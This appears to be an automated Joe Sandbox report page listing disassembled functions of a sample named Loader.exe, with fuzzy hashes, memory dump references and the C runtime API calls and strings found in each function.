Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43c024583933e6cfa14fb5def04e75230b4bc471037fc41026db4463fcef0bd9
Instruction ID: 86a61cd0ccc8c697f9368920ac993bd5ee2c2a393d2aa02fc9d0c83997125eeb
Opcode Fuzzy Hash: 43c024583933e6cfa14fb5def04e75230b4bc471037fc41026db4463fcef0bd9
Instruction Fuzzy Hash: 3532C176E446844FEB018ABCC4A53DF6FF25B6B334F2A2719C5A46F3D6DA17040A8B50

Function 00E634D0 Relevance: .6, Instructions: 607COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef320f7bef7c01a4762384d4d78eb5b32108a18fb7c2cff03b859285f90ef659
Instruction ID: 88cc352f214717229e6c61705ecc831e863620d764cff472aed6326a2cfd618a
Opcode Fuzzy Hash: ef320f7bef7c01a4762384d4d78eb5b32108a18fb7c2cff03b859285f90ef659
Instruction Fuzzy Hash: B902C177A916504FEF01497CC8B83DB1FE787A7735E2A2726CAB05B2E2C55B004E9B50

Function 00E5F980 Relevance: .5, Instructions: 456COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 107ee8ecb09fa4e678585d3a4937c4d6286db83d542d2e710b8247c7152f53ca
Instruction ID: 4effd7ea45b28e6de0349f7d3dd2e5277e529631248897b0f1bfde538aac1dce
Opcode Fuzzy Hash: 107ee8ecb09fa4e678585d3a4937c4d6286db83d542d2e710b8247c7152f53ca
Instruction Fuzzy Hash: 0DE11672A505504FDF008A7CC4A93DF2BE2476B335F2A2726DAB4AF7D2D61B180D9B50

Function 00E5BD50 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2181f0c32b81b48caa156687f0fdc87524ada0d0e991219a6e36bcb24ef515b9
Instruction ID: 3f6f6af00aab7a0ece0b7f4ef3e9b7450e8cbad05cf09747a014e06570b7bef2
Opcode Fuzzy Hash: 2181f0c32b81b48caa156687f0fdc87524ada0d0e991219a6e36bcb24ef515b9
Instruction Fuzzy Hash: B2D0923A645A58AFC310CF4AE840D42F7B8FB8DA70B154066EA08A3B20C331FC51CBE0

Function 00E690D3 Relevance: 17.8, APIs: 5, Strings: 5, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00E691F2
___TypeMatch.LIBVCRUNTIME ref: 00E69300
CatchIt.LIBVCRUNTIME ref: 00E69351
_UnwindNestedFrames.LIBCMT ref: 00E69452
CallUnexpected.LIBVCRUNTIME ref: 00E6946D

Strings

csm, xrefs: 00E69110
csm, xrefs: 00E6917D
csm, xrefs: 00E69229
81, xrefs: 00E691E9
@], xrefs: 00E6926D, 00E69275

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID: CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: 81$@]$csm$csm$csm
API String ID: 4119006552-3791761129
Opcode ID: dd443d7c25e705428e5d255e786e664d1622c725d4466258bbeb9f7529888d97
Instruction ID: b3abd649bf5002285ab26d587a3d859a8f3e02726442308ede6c085739c7cf6b
Opcode Fuzzy Hash: dd443d7c25e705428e5d255e786e664d1622c725d4466258bbeb9f7529888d97
Instruction Fuzzy Hash: B6B1AF31880209EFCF18DFA4E9819AEB7B9FF04394B146159E8117B253DB31DA52CB91

Function 00E66130 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00E66167
___except_validate_context_record.LIBVCRUNTIME ref: 00E6616F
_ValidateLocalCookies.LIBCMT ref: 00E661F8
__IsNonwritableInCurrentImage.LIBCMT ref: 00E66223
_ValidateLocalCookies.LIBCMT ref: 00E66278

Strings

csm, xrefs: 00E6620D
^, xrefs: 00E66215, 00E6621E, 00E6622F

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: ^$csm
API String ID: 1170836740-3816050194
Opcode ID: a8a9acbca9d0c4571d12a991fc5ec1be27373134de29f9a09c841ad899ee427b
Instruction ID: 7da00a6d7e99b88ee18013c836ee5af1d434fdc4cbd07d14304aa887c3fe6d02
Opcode Fuzzy Hash: a8a9acbca9d0c4571d12a991fc5ec1be27373134de29f9a09c841ad899ee427b
Instruction Fuzzy Hash: 48410534A50218EFCF10DF68E890A9EBBF5BF45358F149065E8197B393D731AA05CB91

Function 00E70308 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?,00E702F3,?,?,?,?,?,?,?,?,?), ref: 00E703AE
__alloca_probe_16.LIBCMT ref: 00E70469
__alloca_probe_16.LIBCMT ref: 00E704F8
__freea.LIBCMT ref: 00E70543
__freea.LIBCMT ref: 00E70549
__freea.LIBCMT ref: 00E7057F
__freea.LIBCMT ref: 00E70585
__freea.LIBCMT ref: 00E70595

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 1f7df6f20fbb16e081c641c1b37c3553c9a88a3118eed6fd0a4a47c1bb68f106
Instruction ID: b44dc9c8227f2586e97e11b0ec45dbdcf58a42fe87bf52685ffd50534eda8708
Opcode Fuzzy Hash: 1f7df6f20fbb16e081c641c1b37c3553c9a88a3118eed6fd0a4a47c1bb68f106
Instruction Fuzzy Hash: E771E372940205EBDF319E64DC81BAE7BEA9F49354F28A015E91CF7281E735DD408B60

Function 00E6883A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00E68831,00E65F0D,00E655A4), ref: 00E68848
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00E68856
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00E6886F
SetLastError.KERNEL32(00000000,00E68831,00E65F0D,00E655A4), ref: 00E688C1

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 16488a03dd69c8244b7ca7df1446f010063d3662e369d21a5706ce9f5292cc14
Instruction ID: 2a451d83daf1ea92f4f26b9822dd74ab75a254383ee6855df9ceadb34dda7cd6
Opcode Fuzzy Hash: 16488a03dd69c8244b7ca7df1446f010063d3662e369d21a5706ce9f5292cc14
Instruction Fuzzy Hash: C3014C3228C2125DE7286BB67D86A5A27D4FF127F83E01339F114B61F1EF114C455340

Function 00E6CB54 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\Loader.exe, xrefs: 00E6CB70

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\Loader.exe
API String ID: 0-3241315448
Opcode ID: 4dd79c4ee7aa1c09c12658f751645d0bc9c7b62b2006760f1982400792bf6626
Instruction ID: 4058ff9612a395a2f14f46bbd0294b10dc0764c1ccdab50530acbe0192bb68a3
Opcode Fuzzy Hash: 4dd79c4ee7aa1c09c12658f751645d0bc9c7b62b2006760f1982400792bf6626
Instruction Fuzzy Hash: 5721C271280205AFCB20AF65BC95C7AB7A9AF413E87205925F8ADF7551DB30EC80D790

Function 00E66F54 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,4E40E4DF,?,?,00000000,00E725EB,000000FF,?,00E67015,00000002,?,00E670B1,00E683A0), ref: 00E66F89
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00E66F9B
FreeLibrary.KERNEL32(00000000,?,?,00000000,00E725EB,000000FF,?,00E67015,00000002,?,00E670B1,00E683A0), ref: 00E66FBD

Strings

CorExitProcess, xrefs: 00E66F93
mscoree.dll, xrefs: 00E66F82

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 7c9f8e19e6661ca2bc2ce16aaf2b2179a6d3aa93e809309b274db3e33691b1c7
Instruction ID: f27dba54bde04a3916b141e1ab27cb5390018d208237e90d1db9b310e0f49425
Opcode Fuzzy Hash: 7c9f8e19e6661ca2bc2ce16aaf2b2179a6d3aa93e809309b274db3e33691b1c7
Instruction Fuzzy Hash: 3201D631A54619AFCB11CF51EC09FAEB7B8FB04B55F044525F825F2390DB749944CA90

Function 00E6DF1D Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00E6DFA2
__alloca_probe_16.LIBCMT ref: 00E6E06B
__freea.LIBCMT ref: 00E6E0D2

Part of subcall function 00E6BC45: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00E641E0,?,?,00E61007,?,00E5FAB5), ref: 00E6BC77

__freea.LIBCMT ref: 00E6E0E5
__freea.LIBCMT ref: 00E6E0F2

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 51ab6f476d3bde44281c5c846d7ea5bb9f91e443c3654de8cc937d5ec6057a2d
Instruction ID: 63b041d30eb0d2d7179d078ab64fa2cb3c3d85f7fe6e0c147ae2417b0b727fae
Opcode Fuzzy Hash: 51ab6f476d3bde44281c5c846d7ea5bb9f91e443c3654de8cc937d5ec6057a2d
Instruction Fuzzy Hash: 3051E476680206AFDF215F60EC41EBB76ADEF44794F255029FD14F6282EBB1DC50C660

Function 00E694F8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,00E693FE,?,?,00000000,00000000,00000000,?), ref: 00E6951D
CatchIt.LIBVCRUNTIME ref: 00E69603

Strings

MOC, xrefs: 00E6952F
RCC, xrefs: 00E69537

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: d9e301e48f2a99782cfa61085283d7758f9a48e1a26b1677ba970400ef43289c
Instruction ID: a8bc74c1fc24edfba93a0280380b7c337c03fd567a6152ccf727d15b2da1b325
Opcode Fuzzy Hash: d9e301e48f2a99782cfa61085283d7758f9a48e1a26b1677ba970400ef43289c
Instruction Fuzzy Hash: CE418A72940209AFCF16CF94ED81AEE7BB9FF48344F189099F905B7222D7359950CB50

Function 00E6DC5E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00E6DCFA,00000000,?,00E7CCD0,?,?,?,00E6DC31,00000004,InitializeCriticalSectionEx,00E746F8,00E74700), ref: 00E6DC6B
GetLastError.KERNEL32(?,00E6DCFA,00000000,?,00E7CCD0,?,?,?,00E6DC31,00000004,InitializeCriticalSectionEx,00E746F8,00E74700,00000000,?,00E6971C), ref: 00E6DC75
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00E6DC9D

Strings

api-ms-, xrefs: 00E6DC82

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: eb560adc2025fb78eb900df3916e1dd11b35dff462c1e91cd982281eee02698e
Instruction ID: 4aa6975075219598b219b26dcf495685328b1f58d9f81f5a145f5026410c0828
Opcode Fuzzy Hash: eb560adc2025fb78eb900df3916e1dd11b35dff462c1e91cd982281eee02698e
Instruction Fuzzy Hash: 12E048307C4209BFEF206B62FD4AB587F69AF10B94F545020F90DF80E1FBA29955D544

Function 00E6E5E8 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(4E40E4DF,00000000,00000000,?), ref: 00E6E64B

Part of subcall function 00E6D131: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,00E687B1,?,00000000,?), ref: 00E6D192

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00E6E89D
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00E6E8E3
GetLastError.KERNEL32 ref: 00E6E986

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 92ea2acc75f02eece62c28d11dcc2bcc788be2f2fd698f2000b308a02daadf3a
Instruction ID: 1c7cbf8ba6e8b0b76ff17156af272e14939378c722a6ade1f7373c9e0e3af098
Opcode Fuzzy Hash: 92ea2acc75f02eece62c28d11dcc2bcc788be2f2fd698f2000b308a02daadf3a
Instruction Fuzzy Hash: 90D18979D002489FCB15CFA8E8809EDBBF9EF48354F28456AE456FB391D730A946CB50

Function 00E68EFC Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00E68FC3
___AdjustPointer.LIBCMT ref: 00E68FE6
___AdjustPointer.LIBCMT ref: 00E69082

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: fb1cd738996e852a94cecc5a3a75b99eb7fdec41a14218af93b2626cb9f48568
Instruction ID: 7b962daae82f24dbeb877bcc17f76949adea877fdfd5607d56a5f246959cb164
Opcode Fuzzy Hash: fb1cd738996e852a94cecc5a3a75b99eb7fdec41a14218af93b2626cb9f48568
Instruction Fuzzy Hash: C351F672685606AFDB288F14F941BBA73E9FF50384F14511DE945BB192DB32EC40C790

Function 00E6C5B8 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00E6D131: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,00E687B1,?,00000000,?), ref: 00E6D192

GetLastError.KERNEL32 ref: 00E6C61C
__dosmaperr.LIBCMT ref: 00E6C623
GetLastError.KERNEL32(?,?,?,?), ref: 00E6C65D
__dosmaperr.LIBCMT ref: 00E6C664

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 60c8dcbcf2095013b2bbf95230c370e895f5ffc711e8e443a06e77084f0f7e65
Instruction ID: 5a8669a689152a7f7e47938d97c3994315055bd2d3a4444a421aa5a55edcb462
Opcode Fuzzy Hash: 60c8dcbcf2095013b2bbf95230c370e895f5ffc711e8e443a06e77084f0f7e65
Instruction Fuzzy Hash: 5521B671680205AF9B109F65EC8097E7BE9EF453E8720B519F8AAF7111D730EC818BA4

Function 00E6D22D Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00E6D235

Part of subcall function 00E6D131: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,00E687B1,?,00000000,?), ref: 00E6D192

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00E6D26D
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00E6D28D

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: f60759e5a1cf6ef7a46304d08ffc5966d3c30846188ffec9318c6b687ec3ffc6
Instruction ID: ddf7f4fd98553e0fbde6e487ada63dec0ba3f75623f48cee6e3d4be4a0e9fc8a
Opcode Fuzzy Hash: f60759e5a1cf6ef7a46304d08ffc5966d3c30846188ffec9318c6b687ec3ffc6
Instruction Fuzzy Hash: 3911C4B1F495197E672167767CC9CAF6DACDF953E8B901014F805F2112FB60CD4241B0

Function 00E707C0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

